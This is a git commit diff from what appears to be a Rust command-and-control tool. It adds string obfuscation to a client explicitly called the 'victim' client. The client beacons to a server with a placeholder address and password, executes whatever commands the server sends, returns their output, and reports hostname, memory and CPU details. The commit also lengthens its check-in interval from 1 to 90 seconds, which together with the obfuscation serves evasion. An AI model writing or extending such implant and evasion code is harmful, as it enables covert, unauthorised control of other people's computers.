added string obfusation to the victim client.

This commit is contained in:
2026-08-27 14:42:48 -05:00
parent 0bb3a125aa
commit 56e6971aac
2 changed files with 115 additions and 131 deletions
+1
View File
@@ -585,6 +585,7 @@ impl AppState {
cert_text: String::new(), cert_text: String::new(),
}; };
self.servers.push(Arc::new(Mutex::new(new_server))); self.servers.push(Arc::new(Mutex::new(new_server)));
self.save_all()?;
self.prompt.reset(); self.prompt.reset();
} }
"connect_server" => { "connect_server" => {
+39 -56
View File
@@ -1,3 +1,4 @@
use obfstr::{obfstr, obfstring};
use rustls::ClientConfig; use rustls::ClientConfig;
use rustls::ClientConnection; use rustls::ClientConnection;
use rustls::RootCertStore; use rustls::RootCertStore;
@@ -122,16 +123,16 @@ fn main() -> Result<(), Box<dyn Error>> {
.with_root_certificates(roots) .with_root_certificates(roots)
.with_no_client_auth(); .with_no_client_auth();
let mut server = Server { let mut server = Server {
address: "|||SERVER|||".to_string(), address: obfstring!("|||SERVER|||"),
connected: false, connected: false,
timer: Duration::from_secs(1), timer: Duration::from_secs(90),
last_check: Instant::now(), last_check: Instant::now(),
config: Arc::new(client_config), config: Arc::new(client_config),
message_que: Vec::new(), message_que: Vec::new(),
action_que: Vec::new(), action_que: Vec::new(),
client_id: 0, client_id: 0,
client_name: "Victim1".to_string(), client_name: obfstring!("Victim1"),
password: "|||PASSWORD|||".to_string(), password: obfstring!("|||PASSWORD|||"),
logged_in: false, logged_in: false,
}; };
let system = System::host_name(); let system = System::host_name();
@@ -149,9 +150,8 @@ fn main() -> Result<(), Box<dyn Error>> {
server.checkin(); server.checkin();
if !server.action_que.is_empty() { if !server.action_que.is_empty() {
for action in server.action_que.clone() { for action in server.action_que.clone() {
if let Some((action, data)) = action.split_once("|") { if let Some((action, data)) = action.split_once(obfstr!("|")) {
match action.trim() { if action.trim() == obfstr!("CMD") {
"CMD" => {
let data = data.trim(); let data = data.trim();
let cmd; let cmd;
let mut args = Vec::new(); let mut args = Vec::new();
@@ -164,49 +164,45 @@ fn main() -> Result<(), Box<dyn Error>> {
} else { } else {
cmd = data.trim().to_string(); cmd = data.trim().to_string();
} }
match cmd.trim() { if cmd.trim() == obfstr!("set_sleep") {
"set_sleep" => {
if let Ok(secs) = args[0].parse::<u64>() { if let Ok(secs) = args[0].parse::<u64>() {
server.timer = Duration::from_secs(secs); server.timer = Duration::from_secs(secs);
server.message_que.push(format!( server
"OUTPUT|Set sleep for {} seconds", .message_que
secs, .push(
)); format!("OUTPUT|Set sleep for {} seconds", secs,),
);
} else { } else {
server.message_que.push("OUTPUT|Error parsing Seconds count from arguments.".to_string()); server.message_que.push(
"OUTPUT|Error parsing Seconds count from arguments."
.to_string(),
);
} }
} } else if cmd.trim() == obfstr!("victim_info") {
"victim_info" => {
server server
.message_que .message_que
.push(format!("OUTPUT|Address:{}", server.address)); .push(format!("OUTPUT|Address:{}", server.address));
server.message_que.push(format!( server
"OUTPUT|Timer:{}", .message_que
server.timer.as_secs() .push(format!("OUTPUT|Timer:{}", server.timer.as_secs()));
));
server server
.message_que .message_que
.push(format!("OUTPUT|ID:{}", server.client_id)); .push(format!("OUTPUT|ID:{}", server.client_id));
server.message_que.push(format!( server
"OUTPUT|Hostname:{}", .message_que
server.client_name .push(format!("OUTPUT|Hostname:{}", server.client_name));
));
let system = System::new_all(); let system = System::new_all();
server.message_que.push(format!( server
"Available RAM:{}", .message_que
system.free_memory() .push(format!("Available RAM:{}", system.free_memory()));
)); server
server.message_que.push(format!( .message_que
"Num CPUs:{}", .push(format!("Num CPUs:{}", system.cpus().iter().count()));
system.cpus().iter().count() server
)); .message_que
server.message_que.push(format!( .push(format!("Total RAM:{}", system.total_memory()));
"Total RAM:{}", } else {
system.total_memory()
));
}
_ => {
let mut command = Command::new(&cmd); let mut command = Command::new(&cmd);
if !args.is_empty() { if !args.is_empty() {
args.iter().for_each(|a| { args.iter().for_each(|a| {
@@ -225,9 +221,7 @@ fn main() -> Result<(), Box<dyn Error>> {
)); ));
if !result.stderr.is_empty() { if !result.stderr.is_empty() {
let err_string = let err_string =
String::from_utf8_lossy( String::from_utf8_lossy(&result.stderr)
&result.stderr,
)
.to_string(); .to_string();
out.push_str(&format!( out.push_str(&format!(
"errors: {}\n", "errors: {}\n",
@@ -236,9 +230,7 @@ fn main() -> Result<(), Box<dyn Error>> {
} }
if !result.stdout.is_empty() { if !result.stdout.is_empty() {
let out_string = let out_string =
String::from_utf8_lossy( String::from_utf8_lossy(&result.stdout)
&result.stdout,
)
.to_string(); .to_string();
out.push_str(&format!( out.push_str(&format!(
"std_out: {}\n", "std_out: {}\n",
@@ -246,15 +238,10 @@ fn main() -> Result<(), Box<dyn Error>> {
)); ));
} }
} else { } else {
out.push_str(&format!( out.push_str(&format!("{} failed.\n", cmd));
"{} failed.\n",
cmd
));
if !result.stderr.is_empty() { if !result.stderr.is_empty() {
let out_string = let out_string =
String::from_utf8_lossy( String::from_utf8_lossy(&result.stderr)
&result.stderr,
)
.to_string(); .to_string();
out.push_str(&format!( out.push_str(&format!(
"Errors: {}", "Errors: {}",
@@ -274,13 +261,9 @@ fn main() -> Result<(), Box<dyn Error>> {
handles.insert(handle_id, Some(handle)); handles.insert(handle_id, Some(handle));
handle_id += 1; handle_id += 1;
} }
} } else if action.trim() == obfstr!("DISCONNECT") {
}
"DISCONNECT" => {
stop = true; stop = true;
} }
_ => {}
}
} }
} }
} }